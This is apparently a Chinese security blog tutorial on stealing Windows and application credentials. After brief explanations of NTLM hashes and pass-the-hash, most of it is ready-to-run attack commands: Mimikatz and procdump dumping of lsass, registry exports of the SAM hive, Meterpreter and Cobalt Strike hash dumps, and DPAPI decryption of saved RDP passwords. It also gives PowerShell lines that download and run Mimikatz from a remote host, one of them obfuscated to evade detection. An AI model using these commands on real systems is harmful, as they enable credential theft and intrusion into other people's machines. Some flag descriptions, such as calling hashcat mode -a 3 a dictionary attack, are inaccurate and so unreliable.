03.Windows 密码凭证获取
本文最后更新于487 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、Windows HASH

1.什么是HASH

  • 散列(Hash):是一种将任意长度的输入(或称消息)通过散列算法变换成固定长度的输出的方法。这种输出通常被称为散列值或消息摘要。
  • 散列函数具有以下几个特性:
  1. 确定性:相同的输入总是产生相同的输出。
  2. 压缩性:输出的长度固定,通常远小于输入的长度。
  3. 单向性:从输出很难(或不可行)推导出原始输入。
  4. 抗碰撞性:不同的输入产生相同输出的概率极低。

2.Windows Hash 简介

  • Windows Hash是指在Windows操作系统中,用户密码通过特定的加密算法生成的散列值。

  • Windows系统主要使用以下两种哈希算法:

  1. LAN Manager (LM )哈希:一种较老的算法,安全性较低,容易受到暴力破解攻击。
  2. NT LAN Manager (NTLM )哈希:较新的算法,安全性较高,是Windows系统中更为常用的密码哈希方式。
  • 随着技术的发展,NTLMv2和Kerberos验证体系也逐渐被采用,提供了更高的安全性。
  • LM 哈希:密码最大长度为 14 个字符,超过 14 位的密码使用 NTLM 哈希。
  • NTLM 哈希:支持更长的密码,并提供更高的安全性。
2000 xp 2003 Vista win7 2008 2012
LM
NTLM

在早期的 Windows 系统中,当密码超过 14 位时,会采用 NTLM 哈希。

3.Hash格式

在Windows系统中,密码哈希的存储格式通常遵循特定的结构,该结构包含用户名称、相对标识符 (RID)、LM哈希值和NTLM哈希值。

  • 用户名称:标识用户的账户名。
  • RID(Relative Identifier):一个唯一的数字标识符,用于在系统中唯一标识用户账户。
  • LM-HASH:基于LAN Manager算法的密码哈希值。
  • NTLM-HASH:基于NTLM Manager算法的密码哈希值。

格式示例:

用户名称:RID:LM-HASH值:NTLM-HASH值

test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::

当LM-HASH值为 AAD3B435B51404EEAAD3B435B51404EE 时,这通常表示:

  1. 空密码:用户的密码为空。
  2. 未使用LM 哈希:在某些情况下,系统可能没有使用LM哈希算法来处理密码。

4.Hash存储位置

Windows Hash 一般存储在两个地方:

  • SAM 文件:存储在本地计算机上,包含本地用户的密码哈希。文件位置 C:\windows\system32\config\SAM
  • NTDS.DIT 文件:存储在域控制器上,包含域用户的密码哈希。文件位置 C:\windows\NTDS\NTDS.dit

二、Windows认证基础

Windows 认证机制是确保用户身份和访问控制的关键环节。
它包括以下三种主要类型:

  1. 本地认证:用户直接在本地计算机上登录账户。
  2. 网络认证:用户通过远程连接访问工作组中的设备。
  3. 域认证:用户登录到域环境中的设备,通常涉及更复杂的安全策略和集中管理。

1.Windows本地认证

本地认证涉及用户在本地计算机上输入密码,并由系统进行验证。
以下是本地认证的详细过程:

  1. 用户输入密码:通过 winlogon.exe 进行用户界面交互。
  2. 密码处理:系统接收到密码后,由 lsass.exe 进程处理,将密码计算成 NTLM Hash。
  3. 哈希比对:计算得到的 NTLM Hash 与存储在 SAM 数据库 (%SystemRoot%\system32\config\sam)中的哈希值进行比对。
  4. 登录结果:如果哈希值匹配,则登录成功;否则登录失败。

在本地认证中, lsass.exe 进程负责处理用户输入的密码,并将其转换为NTLM Hash 用于比对。使用如 mimikatz 等工具可以读取 lsass.exe 进程中的明文密码。
winlogon 是用来管理用户登录和登出
lsass 是用于本地安全和登陆策略

2.Windows网络认证

网络认证是在工作组环境下,用户远程登录另一台计算机时所采用的认证机制。

1)网络认证过程:

  1. 协商:客户端和服务器端协商确定使用的 NTLM 协议版本(V1 或 V2)。不同协议使用不同格式的 Challenge 和加密算法。
  2. 质询: 客户端向服务器端发送用户信息(用户名)请求,服务器接受到请求后,判断本地用户列表是否存在 用户,如果不存在用户则认证失败 如果存在用户,服务器生成一个16位的随机数(Challenge),并使用用户名对应的 NTLM Hash 加 密 Challenge,生成 Challenge1 并保存在内存中。同时,将 Challenge 明文发送给客户端。
  3. 响应:客户端收到 Challenge 后,使用自己提供用户的密码生成 NTLM Hash,然后使用这个哈希值 加密 Challenge,生成 Response,并将 Response 发送至服务器端。
  4. 验证:服务器收到 Response 后,与内存中的 Challenge1 进行比对。如果匹配,则认证通过。

2)Net-NTLM-Hash破解(了解即可)

Net-NTLM-Hash 是在NTLM认证过程中,客户端使用其密码生成的 NTLM 哈希对服务端提供的 Challenge 进行加密后的结果。这种哈希虽然不能直接用于哈希传递攻击(Pass The Hash,PTH), 但攻击者可以通过暴力破解尝试恢复原始密码。

  1. 格式
username::domain:challenge:HMAC-MD5:blob
  1. 破解方法
hashcat -m 5600 net-ntlm-hash /tmp/password.list -o found.txt --force
  • -m 5600:指定hashcat使用的哈希类型为Net-NTLMv2。
  • -a 0:指定攻击模式为直接(dictionary attack)。
  • net-ntlm-hash:输入捕获的 Net-NTLM Hash。
  • /tmp/password.dict:指定包含密码的字典文件。
  • -o found.txt:指定破解成功后输出的文件。
  • –force:强制执行破解,忽略系统不支持的 Intel OpenCL 错误

3)Pass-The-Hash攻击(了解即可)

PTH 攻击简介

  1. Pass-The-Hash(PTH),哈希传递攻击
  2. PTH攻击利用了NTLM认证协议中的一个特性,即允许使用用户的密码哈希值进行认证,而不需要实 际的密码。
    PTH攻击的关键步骤
  3. 获取NTLM 哈希:攻击者首先需要获取目标用户的NTLM哈希值。这可以通过网络嗅探、利用系统漏洞 或使用工具(如Mimikatz)从本地系统提取。
  4. 模拟认证请求:攻击者使用获取的NTLM哈希值,模拟正常的用户认证请求,向目标系统发送认证请 求。
  5. 建立会话:如果认证请求被接受,攻击者可以建立一个网络会话,执行远程命令或访问网络资源。
    PTH与Windows网络认证的关系
  6. 利用NTLM 认证机制:PTH攻击主要利用了NTLM认证协议的特性。在NTLM认证过程中,客户端和服 务器通过交换加密的挑战和响应来验证用户身份。攻击者可以通过传递NTLM哈希值来绕过密码验 证。
  7. 挑战 响应机制:在NTLM认证中,服务器生成一个随机的挑战(Challenge),客户端使用其密码哈希 加密这个挑战,并将加密后的响应发送回服务器。PTH攻击中,攻击者使用获取的NTLM哈希值来生 成响应,从而绕过密码验证。
  8. 无需实际密码:PTH攻击的一个关键优势是攻击者不需要知道目标账户的实际密码,只需要其NTLM 哈希值。这使得攻击者可以在不触发密码尝试警报的情况下进行攻击。

三、系统用户凭证获取

1.Mimikatz

Mimikatz 是一个开源的项目,它能够提取 Windows 系统中的密码哈希、明文密码以及其他敏感信息,使用 Mimikatz 需要具备相应的系统权限,通常是Administrator 或 System 权限。

1)本地交互式

获取lsass.exe进程中的明文密码

# 运行mimikatz
mimikatz.exe

# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程。
mimikatz # privilege::debug

# 记录日志
mimikatz # log re.txt

# 抓取登录密码
mimikatz # sekurlsa::logonpasswords

# 退出 Mimikatz
mimikatz # exit

Pasted image 20250211220422.png

工作原理:

  • 权限提升:privilege::debug 命令通过调用 Windows 系统内部的权限提升机制,使得当前进程获得调试权限。
  • 访问控制:一旦获得调试权限,Mimikatz 可以访问和操作其他进程的内存空间,这对于提取敏感信息(如密码哈希)至关重要。
  • 安全漏洞利用:在 Windows 系统中,某些关键进程(如 lsass.exe)存储了用户的登录凭据。通过调试权限,Mimikatz 可以读取这些进程的内存,从而提取存储的密码哈希。
    使用命令whoami /all查看
    Pasted image 20250211210211.png
# 运行mimikatz
mimikatz.exe

# 提升权限,获取系统调试权限,调试权限是一种高级别的权限,允许用户调试或诊断系统上的其他进程
mimikatz # privilege::debug

# 提升当前进程的令牌权限,使其具有管理员级别的访问权限。
mimikatz # token::elevate

# 记录日志
mimikatz # log res.txt

# 从 Windows 系统的安全账户管理器(SAM)数据库中提取密码哈希。
mimikatz # lsadump::sam

# 提取 Windows 系统中存储的敏感信息,如密码、密钥和其他凭据。
mimikatz # lsadump::secrets

2)本地非交互式

# 执行命令并记录日志
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"

3)Powershell 本地加载 mimikatz 脚本

powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords"'

powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'

4)Powershell 远程加载 mimikatz 脚本

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.81.154:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds

powershell IEX (New-Object Net.WebClient).DownloadString('https://gitee.com/yijingsec/nishang/raw/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds

Pasted image 20250211221746.png

5)Powershell 混淆

powershell -c "('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.81'+'.154:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

2.Get-PassHashes

Powershell 加载 Get-PassHashes 脚本
脚本地址:https://gitee.com/yijingsec/nishang/raw/master/Gather/Get-PassHashes.ps1

powershell IEX(new-object net.webclient).downloadstring('http://192.168.81.154:8000/Get-PassHashes.ps1');Get-PassHashes

可以将地址替换,不用自己开启web服务
Pasted image 20250211223214.png

3.Procdump+Mimikatz

Procdump 是 Sysinternals 套件中的一个实用工具,它可以捕获并转储正在运行的进程的内存 (dump)。 Mimikatz 能够从这些内存转储中提取密码哈希和明文密码。结合使用Procdump 和Mimikatz,可以从 Windows 系统中提取敏感的登录凭据。

1)Procdump 导出 lsass 进程

  • 32位系统
procdump.exe -accepteula -ma lsass.exe lsass.dmp
  • 64位系统
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

Pasted image 20250212141504.png

命令会生成一个名为 lsass.dmp 的文件,其中包含了 lsass.exe 进程的内存转储。

2)使用 mimikatz 还原密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

这个命令会加载 lsass.dmp 文件,并使用 sekurlsa::logonPasswords 模块提取当前登录的用户的密码信息

4.Registry

Windows 注册表包含了系统启动和运行所需的配置和系统设置。其中, HKLM\SYSTEMHKLM\SAMHKLM\SECURITY 分别存储着系统启动配置、用户账户信息和安全策略等关键数据。

1)使用 reg 命令导出注册表文件

# 导出 SYSTEM 键值
reg save HKLM\SYSTEM system.hiv

# 导出 SAM 键值
reg save HKLM\SAM sam.hiv

# 导出 SECURITY 键值
reg save HKLM\SECURITY security.hiv

Pasted image 20250212143227.png

2)使用 Mimikatz 分析导出的注册表文件

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit"

这个命令利用Mimikatz 的  lsadump::sam 模块从导出的  .sam 和  .system 文件中提取用户账户的密码哈希。
Pasted image 20250212143354.png

3)使用 Impacket 分析导出的注册表文件

python -m pip install impacket

python secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

模块安装不了可以使用以下命令:

python -m pip install impacket -i https://mirrors.ustc.edu.cn/pypi/web/simple

Pasted image 20250212151351.png

使用exe程序

secretsdump.exe -sam sam.hiv -security security.hiv -system system.hiv LOCAL

Pasted image 20250212150014.png

5.LaZagne

1)使用

lazagne.exe

Pasted image 20250212151536.png

2)使用all模块

lazagne.exe all

Pasted image 20250212151835.png

6.Meterpreter

1)使用 Meterpreter 进行 Hashdump

使用之前需要提权

getsystem
  • Hashdump
run post/windows/gather/hashdump

这个模块会尝试从内存中提取 Windows 系统的密码哈希。

  • smart_hashdump
run post/windows/gather/smart_hashdump

smart_hashdump 是一个更先进的模块,它使用不同的技术来提高获取哈希的成功率。

2)使用 Meterpreter 加载 Mimikatz 模块

kiwi 是 Meterpreter 中 Mimikatz 的加载模块,它允许直接在 Meterpreter 会话中使用 Mimikatz 功能。

  • 加载mimikatz模块
load kiwi
  • 查看模块功能帮助
help kiwi
  • 列举系统中的明文密码
creds_all     
  • 读取sam文件
lsa_dump_sam
  • 查看基础命令和模块
# 查看基础命令
kiwi_cmd -h

# 查看有哪些模块,kiwi_cmd命令后面接mimikatz的模块命令
kiwi_cmd ::
  • 从Windows的sam文件中读取密码hash值
kiwi_cmd lsadump::sam
  • 获取明文密码
kiwi_cmd sekurlsa::logonpasswords

7.CobaltStrike–Beacon

1)Hashdump 命令

用于转储目标系统上的密码哈希。

hashdump

2)Logonpasswords 命令

logonpasswords 命令尝试从当前会话中获取当前登录用户的明文密码。

logonpasswords

3)Mimikatz 集成

CobaltStrike 集成了 Mimikatz,可以直接在 beacon 会话中运行 Mimikatz 命令

mimikatz sekurlsa::logonpasswords
mimikatz lsadump::sam

4)CobaltStrike凭证视图

CobaltStrike 将获取到的明文密码及密码 Hash 记录在“密码凭证视图”窗口中,提供了一个集中 的地方来查看所有收集到的凭证信息。

8.Windows Hash 破解

1)在线网站

https://www.cmd5.com/
https://www.somd5.com/

2)Hashcat破解

Hashcat 是一款高级的密码恢复工具,支持多种哈希类型和攻击模式。
Hashcat 学习记录 | 国光

四、其他密码凭证获

1.RDP连接密码解密

1)查看本地机器连接过的目标机器

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

此命令将列出所有通过 RDP 连接过的目标机器记录。

2)查看 RDP 密码文件

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

此命令将列出本地用户目录下存在的 RDP 密码文件。
Pasted image 20250212175451.png

3)查看保存在本地的远程主机信息

cmdkey /list

此命令将列出当前保存的凭据,包括 RDP 连接凭据。

4)选择一个RDP密码文件对其进行解密。

此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey。

privilege::debug
dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266

Pasted image 20250212180804.png

5)根据 guidMasterKey 找到对应的 Masterkey

sekurlsa::dpapi

Pasted image 20250212181024.png

6.通过 Masterkey 解密 pbData 数据,拿到明文 RDP 连接密码

dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266 /masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8

7.List-RDP-Connections-History 脚本使用

使用 PowerShell 脚本获取 RDP 连接的历史记录

powershell -exec bypass .\ListLogged-inUsers.ps1

Pasted image 20250212183342.png

2.MySQL数据库密码破解

一旦获取了网站一定的权限后,如果能够获取 MySQL 中保存的用户数据,通过解密后,即可通过正 常途径来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。
MySQL 数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文 件读取权限后即可直接从数据库连接文件中读取。
一般都包含有数据库类型,物理位置,用户名和密码等信息。

1)MySQL数据库文件类型

MYSQL数据库文件共有 frm、 MYD 和 MYI 三种文件

  • .frm:存储表结构的文件。
  • .MYD:存储表数据的文件。
  • .MYI:存储索引数据的文件。
    与用户有关的一共有三个文件即user.frm、user.MYD 和 user.MYI用户密码信息通常存储在user.MYD文件中,包括 root 用户和其他用户的密码。

2)MySQL加密方式

MYSQL数据库的认证密码有两种加密方式

  • MYSQL323:MySQL 4.1 版本之前使用的加密方式。
  • MYSQLSHA1:MySQL 4.1 及之后版本使用的加密方式。

MySQL 提供了 Old_Password() 和 Password() 函数来进行相应加密方式的密码生成。

  • MYSQL323:加密生成的是 16 位字符串
  • MYSQLSHA1:加密生成的是 41 位字符串, * 不加入实际密码运算,因此实际为 40 位字符串

3)MySQL密码获取

获取MySQL数据库密码HASH值
用十六进制编辑器打开 user.MYD 文件,使用二进制模式查看,即可得到密码 Hash 值

4)密码HASH破解

(1)hashcat 破解

hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
  • -m 300 指定了 MySQL323 加密方式
  • -a 3 指定了使用的是字典攻击

(2)john the ripper 破解(推荐)

列出 John the Ripper 支持的 MySQL 相关哈希类型

john --list=formats | grep mysql

创建了一个包含哈希值的文件

echo '*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B' > mysql.hash

使用指定格式进行破解尝试

john --format=mysql-sha1 mysql.hash

Pasted image 20250212201151.png

3.应用程序密码解密

1)SharpDecryptPwd

SharpDecryptPwd 是一个开源工具,专门设计用于解密在 Windows 系统中保存的应用程序密码。该 工具能够解析多种流行应用程序的加密密码,包括但不限于数据库管理工具、远程桌面连接工具和文件传输客户端。
支持的应用程序:

  • Navicat
  • TeamViewer
  • FileZilla
  • WinSCP
  • XMangager 系列产品(如 Xshell, Xftp)

该工具通过提取应用程序存储的加密密码,并使用相应的解密算法恢复原始密码,从而为安全研究人 员提供了一种方便的方式来获取这些敏感信息。

2)HackBrowserData

HackBrowserData 是一个多功能浏览器数据导出工具,能够从主流浏览器中提取各种敏感数据,包括密码、历史记录、Cookie、书签、信用卡信息、下载记录、localStorage 和浏览器插件等。

支持的浏览器: Chrome、 Firefox、 Edge、 Safari 等其他主流浏览器

HackBrowserData 通过分析浏览器的存储机制,提取并导出用户数据,为安全审计和渗透测试提供了 重要的数据支持。

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇